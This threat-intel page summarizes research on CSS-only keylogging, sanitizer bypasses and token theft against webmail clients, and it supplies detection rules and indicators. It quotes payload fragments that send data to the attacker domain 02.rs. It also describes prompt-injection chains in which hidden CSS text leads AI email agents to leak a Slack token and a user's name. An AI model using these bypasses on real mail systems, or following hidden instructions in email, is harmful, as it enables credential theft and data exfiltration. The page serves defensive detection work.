# CSS Bomb: JavaScript-Free CSS Keylogging and Token-Theft Attacks Against Gmail, Outlook, Yahoo Mail, AOL Mail, Fastmail, and ProtonMail

> PortSwigger researcher Gareth Heyes' Black Hat USA 2026 talk 'CSS: The Bomb Inside Your Inbox' demonstrates that CSS alone -- no JavaScript -- can keylog password-disguised dropdowns, brute-force login tokens via attribute selectors, and hijack UI elements across six major webmail platforms, with chains that also weaponize hidden CSS to prompt-inject AI email agents (Claude Cowork, OpenAI Atlas). Fastmail and ProtonMail patched their reported bugs; Outlook's label-hijacking flaw and Gmail's image-set() sanitizer bypass remained unfixed as of the August 6, 2026 publication.

- **Published:** 2026-08-09T00:00:00Z
- **Last reviewed:** 2026-08-09T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1956
- **Card image:** https://intel.threadlinqs.com/og/threat/threat-intel-css-bomb-webmail-attacks-tl-2026-1956.webp?v=23668418 (Threadlinqs threat intel: CSS Bomb Keylogging Passwords: Detection & IOCs (TL-2026-1956) — High severity, 6 IOCs, 9 detection rules.)
- **ID:** TL-2026-1956
- **Severity:** HIGH
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 (1 shown free below) · **IOCs:** 6 (2 shown free below)

## Description

On August 6, 2026, PortSwigger researcher Gareth Heyes published "CSS: The Bomb Inside Your Inbox" (presented at Black Hat USA 2026) demonstrating that HTML-sanitized webmail clients remain exploitable through CSS mechanisms alone, without any JavaScript execution. The research chains together CSS mutation (hex-escape sequences that decode during CSSOM parsing, e.g. `@keyframes foo\7d\2a` becoming `@keyframes foo } *`), attribute-selector brute-forcing, and pseudo-element/pseudo-class abuse (`:before`, `:after`, `:has()`, `:checked`) to build a real-time, JavaScript-free keylogger and data-exfiltration primitive that fires a unique background-image (or image-set()) HTTP request to an attacker-controlled server for each character typed or selected.

Against Outlook, Heyes disguised a `<select>` dropdown as a password field using `-webkit-text-security:disc`, exploited a sanitizer parser-confusion bug (`@media --narrow-window;/*"*/.x_x{position:fixed}`) to break CSS containment, and abused Outlook's `<label for="...">` element to hijack arbitrary UI controls by ID (e.g. `RibbonModeToggle`) from within an email body -- reportedly still unresolved at publication. Against Firefox specifically, moving the disguised select element off-screen resets the browser's ~1-second key-repeat timer, letting the technique capture keystrokes in near real time and, in one chain, spoof a Microsoft sign-in screen to capture a recipient's password. Against Gmail, a `background:image-set(var(--x,'//02.rs'))` fallback bypasses the image-proxy sanitizer and forces an external request even when the primary URL is stripped -- also unpatched at publication. Fastmail's own allowlisted image-proxy domain was abused via an escaped-backslash payload (`content:url(/\5c/user.fm/uid.fastmail.com/track)`) to leak keystroke data visible in Fastmail's own access logs, alongside two separate CSS-mutation ('CSS hotwiring') bugs -- all three fixed, with Fastmail paying two $1,000 bounties. ProtonMail's image-proxy sanitizer was bypassed via ambiguous CSS comment syntax (`background:/*Url( Url(...)*url(//02.rs)`); Proton disputed the bug's classification before silently patching it months later.

Against Yahoo Mail and AOL Mail, Heyes found that Firefox retains inline CSS styling on pasted clipboard content for a brief window before sanitization runs (a race condition), which he weaponized -- using Hackvertor's "Copy as HTML" feature to build a malicious clipboard blob -- to steal a 12-character hex Medium.com login token embedded in a pasted callback URL. Nested CSS attribute selectors (`[attr^="start"]{&[attr*="middle"]{...}}`) brute-forced the token's first and last five characters via background-image requests, with server-side overlap logic recovering the middle two characters, enabling full account takeover without any script execution. A related font-metrics side channel used `@font-face` with `unicode-range` and `descent-override` to selectively enlarge individual digits, allowing digit-frequency counting via rendered height.

The research extends beyond human victims to AI email agents. Chaining the Gmail image-set() bypass with indirect prompt injection, a crafted email caused Anthropic's Claude Cowork (Gmail connector) to retrieve a Slack authentication token and place it into an HTML draft for exfiltration. A separate chain against OpenAI's Atlas AI browser hid malicious instructions inside a `:before` pseudo-element with `opacity:0.00000001` -- invisible to a human reader but present in the DOM text the AI model processes -- causing Atlas, when asked to "translate" the email, to follow the hidden instructions and exfiltrate the victim's name letter-by-letter via sequential URL loads to an attacker domain. No CVE or CVSS score has been assigned to any of these findings; PortSwigger has published proof-of-concept code for the techniques on GitHub.

## MITRE ATT&CK

- T1566 Phishing
- T1204 User Execution
- T1583.001 Domains
- T1528 Steal Application Access Token
- T1539 Steal Web Session Cookie
- T1056 Input Capture
- T1056.001 Keylogging
- T1027 Obfuscated Files or Information
- T1071.001 Web Protocols
- AML.T0051 LLM Prompt Injection

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**CSS Bomb - DNS/Proxy Resolution of Confirmed Attacker Exfiltration Domain (02.rs)** (`TL-2026-1956-SPL-003`)

Detects DNS queries or proxy connections to the confirmed CSS Bomb attacker-controlled domain 02.rs, including the /debug# (OpenAI Atlas prompt-injection exfil) and /m/{combo} (Yahoo/AOL token brute-force) path patterns, and flags when the requesting process is an AI email/browser agent (Claude Cowork, OpenAI Atlas) rather than a human-driven browser tab.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1071.001, T1583.001, T0051
- **Data sources:** Splunk Stream DNS (stream:dns), Zscaler NSS web proxy logs (zscalernss-web)
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=network (sourcetype="stream:dns" OR sourcetype="zscalernss-web") earliest=-24h
| eval fqdn=coalesce(query, dest_domain)
| where match(fqdn, "(?i)(^|\.)02\.rs$") OR match(url, "(?i)02\.rs/(debug|m)/")
| eval agent_process=coalesce(process_name, http_user_agent)
| table _time, src_ip, user, fqdn, url, agent_process
| sort -_time
```

### Microsoft KQL

```kql
union DnsEvents, DeviceNetworkEvents
| where Timestamp > ago(24h)
| where (isnotempty(RemoteUrl) and RemoteUrl has "02.rs") or (isnotempty(Name) and Name has "02.rs")
| extend AiAgentProcess = iif(InitiatingProcessFileName in~ ("ClaudeCowork.exe","Atlas.exe"), InitiatingProcessFileName, "")
| project Timestamp, DeviceName, InitiatingProcessFileName, AiAgentProcess, RemoteUrl, Name
| sort by Timestamp desc
```

### Sigma

```yaml
title: CSS Bomb - DNS/HTTP Resolution of Confirmed Attacker Domain 02.rs
id: c1e9a7f3-2b4d-4e6a-8f1c-3a5b7d9e0c44
status: experimental
description: Detects DNS queries or HTTP connections to the confirmed CSS Bomb attacker-controlled domain 02.rs, including the /debug# (OpenAI Atlas prompt-injection exfiltration) and /m/{combo} (Yahoo/AOL token brute-force) path patterns.
references:
    - https://portswigger.net/research/css-the-bomb-inside-your-inbox
author: Threadlinqs Team
date: 2026-08-09
tags:
    - attack.command-and-control
    - attack.t1071.001
    - attack.resource-development
    - attack.t1583.001
    - attack.execution
    - attack.aml.t0051
logsource:
    category: dns
detection:
    selection:
        query|endswith: '.02.rs'
    selection2:
        query: '02.rs'
    condition: 1 of selection*
falsepositives:
    - None expected; 02.rs is a confirmed attacker-controlled domain from the PortSwigger disclosure
level: critical
```

**Known false positives:**

- None expected for the exact domain 02.rs -- this is a confirmed attacker-controlled indicator from the PortSwigger disclosure; investigate any hit as a true positive pending containment

**Tuning notes:** Feed 02.rs and any newly disclosed CSS Bomb infrastructure into a standing threat-intel watchlist so this becomes a lookup-driven correlation search rather than a hardcoded domain match, and alert at highest priority when agent_process matches a known AI email/browser-agent binary.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- CSS Bomb - Attacker Exfiltration Domain Referenced in Email Body URLs (M365 Defender) (locked: unlock with TL Creds)
- CSS Bomb - High-Frequency Browser Network Bursts to a Single Remote URL (Defender for Endpoint) (locked: unlock with TL Creds)
- CSS Bomb - AI Agent Network Connection to Attacker Domain (Defender DnsEvents/DeviceNetworkEvents) (locked: unlock with TL Creds)
- CSS Bomb - Email Gateway Signature Match on CSS Sanitizer-Bypass Payload (locked: unlock with TL Creds)
- CSS Bomb - Sigma Aggregation Rule for Rapid Repeated Image Requests to a Single Domain (locked: unlock with TL Creds)
- CSS Bomb - DNS Query for Known Attacker Domain [indicator] (locked: unlock with TL Creds)
- CSS Bomb - Malicious CSS Payload Delivered via Inbound SMTP Message (locked: unlock with TL Creds)
- CSS Bomb - Burst of Background-Image Requests Indicating CSS Keylogging Exfiltration (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (2 of 6)

Defanged, TLP:CLEAR.

- Domain: `02[.]rs`
- Domain: `uid[.]fastmail[.]com`

Full set of 6 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [CSS: the bomb inside your inbox](https://portswigger.net/research/css-the-bomb-inside-your-inbox)
- [Researcher profile - Gareth Heyes](https://portswigger.net/research/gareth-heyes)
- [PortSwigger PoC repository - css-the-bomb-inside-your-inbox](https://github.com/portswigger/css-the-bomb-inside-your-inbox)
- [CSS Bomb Attack Weaponizes CSS Styling to Hijack Webmail Interfaces](https://cybersecuritynews.com/css-bomb-attack/)
- [New CSS Attacks Can Break Webmail Defenses to Steal Passwords and Tokens](https://thehackernews.com/2026/08/new-css-attacks-can-break-webmail.html)
- [Webmail CSS Attacks Expose a New Risk for AI-Powered Email Tools](https://securityaffairs.com/196899/hacking/webmail-css-attacks-expose-a-new-risk-for-ai-powered-email-tools.html)
- [Yahoo, AOL, Fastmail, Google and Microsoft: New CSS Attacks Can Break Webmail Defenses to Steal Passwords and Tokens](https://blog.rankiteo.com/aolmicyahfasgoo1786188226-yahoo-aol-fastmail-google-microsoft-vulnerability-august-2026/)
- [CSS Can Now Steal Your Email Data, And Some Vendors Pretend It's Not Happening](https://mangodeveloper.com/articles/css-can-now-steal-your-email-data-and-some-vendors-pretend-its-not-happening)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1956